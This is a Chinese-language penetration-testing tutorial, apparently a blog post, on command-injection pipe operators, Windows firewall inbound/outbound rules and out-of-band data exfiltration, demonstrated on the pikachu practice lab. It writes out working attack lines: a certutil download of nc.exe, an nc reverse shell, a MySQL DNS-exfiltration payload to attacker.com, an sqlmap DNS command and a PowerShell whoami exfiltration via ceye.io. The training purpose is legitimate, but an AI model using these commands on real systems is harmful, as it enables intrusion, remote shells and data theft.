010502管道符_防火墙出入站_不回显带外-渗透命令-基础入门-网络安全

文章目录

- [1 管道符](#1 管道符)
- [2 防火墙出入站](#2 防火墙出入站)
- [3 不回显外带](#3 不回显外带)
- - 典型场景
  - 常见OOB通道
  - 实现示例（以DNS为例）
  - - [1. 利用DNS外带数据](#1. 利用DNS外带数据)
    - [2. 使用工具监听](#2. 使用工具监听)
  - 防御建议
  - 扩展：无回显OOB自动化工具
  - 注意事项
  - 演示
  - 结语

1 管道符

复制代码

| （管道符号）
||（逻辑或）
&&（逻辑与）
&（后台任务符号）

windows ：| & || &&

Linux： `| || & && ; ```,````和；为linux特有

linux演示：

案例演示：pikachu ping命令执行反向链接，

分析：

判断为windows系统
windows没有自带的nc命令

想办法上传nc

shell 复制代码

ping 172.0.0.1 | certutil.exe -urlcache -split -f http://192.168.0.104:80/nc.exe l:\\nc.exe
ping 172.0.0.1 |

反弹权限

完成上述步骤后，执行如下命令

shell 复制代码

# windows
ping 127.0.0.1 | l:\\nc.exe -e cmd 192.168.0.105 5566    
# linux
ncat -lvvp 5566

如下图所示：

2 防火墙出入站

这里我们以windows防火墙为例，测试连接。

"防火墙出入站"指的是防火墙规则中数据流动的方向 ，核心是以防火墙所保护的网络或主机为参照点。

简单来说：

入站 (Inbound / Ingress):
- 方向： 从外部网络 （比如互联网）流向防火墙保护的内部网络或主机。
- 例子：
  - 互联网上的用户访问你公司的网站服务器。
  - 外部人员尝试通过 SSH 连接你的内部服务器。
  - 来自互联网的电子邮件到达你的邮件服务器。
- 防火墙规则作用： 控制谁可以访问你的内部资源以及访问哪些服务（端口）。这是防火墙最主要的防护功能，通常规则设置得比较严格（默认阻止大部分入站连接，只开放必要的服务）。
- 参照点： 数据是进入被保护的区域。
出站 (Outbound / Egress):
- 方向： 从防火墙保护的内部网络或主机 流向外部网络（比如互联网）。
- 例子：
  - 你办公室的电脑访问谷歌搜索。
  - 你内部的服务器从外部软件仓库下载更新。
  - 你的邮件服务器向外部发送电子邮件。
- 防火墙规则作用： 控制内部用户或设备可以访问外部哪些资源（IP、域名、端口、协议） 。规则通常相对宽松（默认允许大部分出站连接），但也用于：
  - 阻止访问恶意网站。
  - 限制访问某些类型的网站（如社交媒体、游戏）。
  - 防止内部恶意软件或受感染主机"回连"到外部命令控制服务器。
  - 防止内部主机进行端口扫描等恶意行为。
- 参照点： 数据是离开被保护的区域。

关键区别总结：

特性	入站 (Inbound/Ingress)	出站 (Outbound/Egress)
方向	进入受保护网络/主机	离开受保护网络/主机
来源	外部网络 (如互联网)	内部网络/主机
目标	内部网络/主机	外部网络 (如互联网)
主要目的	保护内部资源不被外部访问/攻击	控制内部资源对外部的访问
默认规则	通常较严格 (默认拒绝/阻止大部分连接)	通常较宽松 (默认允许大部分连接)
例子	访问网站服务器、远程桌面连接、接收邮件	浏览网页、下载文件、发送邮件、访问云服务

为什么理解出入站方向很重要？

精准配置规则： 创建防火墙规则时，必须明确指定规则是应用于入站流量还是出站流量，否则规则无效或达不到预期效果。
理解安全策略： 防火墙的安全策略核心就是定义"什么入站流量允许进来"和"什么出站流量允许出去"。
故障排查： 当网络连接出现问题时，判断是入站规则还是出站规则阻止了连接是解决问题的关键第一步。
合规性与审计： 许多安全标准和法规要求对出入站流量进行明确的控制、监控和审计。

简单记忆方法：

入站： 别人 (外部) 想进来访问你 (内部) 的东西。
出站： 你 (内部) 想出去访问别人 (外部) 的东西。

理解出入站方向是配置和管理任何防火墙（无论是硬件防火墙、软件防火墙、云防火墙还是主机防火墙）的基础。你需要根据你的安全需求，在出入站两个方向上分别设置允许或拒绝流量的规则。

windows开启防火墙之后，linux无法正向连接windows，即windows防火墙入站被限制。入站放行5566端口之后，正向连接正常，如下图所示：

出站方向同样如此，这里不再演示，因为严进宽出的策略，入站放行即使没有显示禁用5566端口，5566端口入站方向也是被禁止访问的。

3 不回显外带

当命令执行没有显示的回显时，我们不知道是否执行，执行结果是什么，此时可借助外部网站显示。

在网络安全或渗透测试中，"不回显带外"（Out-of-Band, OOB）通常指利用非直接回显的通道传输数据，常用于漏洞利用（如SQL注入、XXE、命令注入等）。以下是常见场景和实现思路：

典型场景

无回显漏洞利用
当攻击注入点不返回结果时（如盲注），通过OOB通道将数据外带。
- 示例：SQL盲注 中利用DNS请求外带数据库数据。
绕过防火墙/过滤
避免触发基于请求/响应的安全检测。
隐蔽数据泄露
通过DNS、HTTP、SMB等协议外传敏感信息。

常见OOB通道

协议	原理	工具
DNS	目标发起DNS查询，攻击者从DNS日志中提取数据	`dnslog.cn`, `Burp Collaborator`
HTTP	目标向攻击者服务器发送HTTP请求携带数据	Python `http.server`, `ngrok`
SMB	目标访问攻击者伪造的SMB服务器	`Impacket smbserver.py`

实现示例（以DNS为例）

1. 利用DNS外带数据

sql 复制代码

-- SQL注入示例（MySQL）
LOAD_FILE(CONCAT('\\\\', (SELECT HEX(user())), '.attacker.com\\fake'));

目标向 {hex_data}.attacker.com 发起DNS查询，攻击者从日志中提取数据。

2. 使用工具监听

免费平台 ：访问 dnslog.cn 获取临时域名。
专业工具 ：Burp Suite 的 Collaborator 模块。

防御建议

输入严格过滤
禁止特殊字符（如 \, $, |）。
限制出站请求
防火墙规则限制服务器发起DNS/HTTP请求。
启用日志审计
监控异常DNS查询或外连行为。
最小化权限
数据库/服务使用低权限账户运行。

扩展：无回显OOB自动化工具

SQLMap ：使用 --dns-domain 参数自动化OOB注入检测。
复制代码
```
sqlmap -u "http://target.com?id=1" --dns-domain=attacker.com
```
XXExploiter ：专用于XXE OOB利用（GitHub）。

注意事项

合法性：未经授权测试属违法行为。
隐蔽性：实际攻击中可能被安全设备（如IDS）检测。
依赖环境：目标需能访问外网（如允许DNS解析）。

演示

这里dns我们利用第三方网站，有兴趣的可以自己搭建，有专门教程。

第一步 ：注释掉pikachu ping命令执行中结果回显，如下图所示

第二步：下面连接3注册账号，payloads页面找到对应系统的需要执行的命令，我们的是windows

cmd 复制代码

ping 127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.xxx.ceye.io';$z=$x+$y;ping $z

xxx：为自己配置

效果如下图所示：

结语

❓QQ:806797785

⭐️仓库地址：https://gitee.com/gaogzhen

⭐️仓库地址：https://github.com/gaogzhen

1\][全栈网络安全 \| 渗透测试 \| 高级红蓝对抗 V2024最新版](https://www.bilibili.com/video/BV123yAYMEwb)\[CP/OL\]. \[2\][棱角社区](https://forum.ywhack.com/bountytips.php?download)\[CP/OL\]. \[3\][CEYE](http://ceye.io/)\[CP/OL\].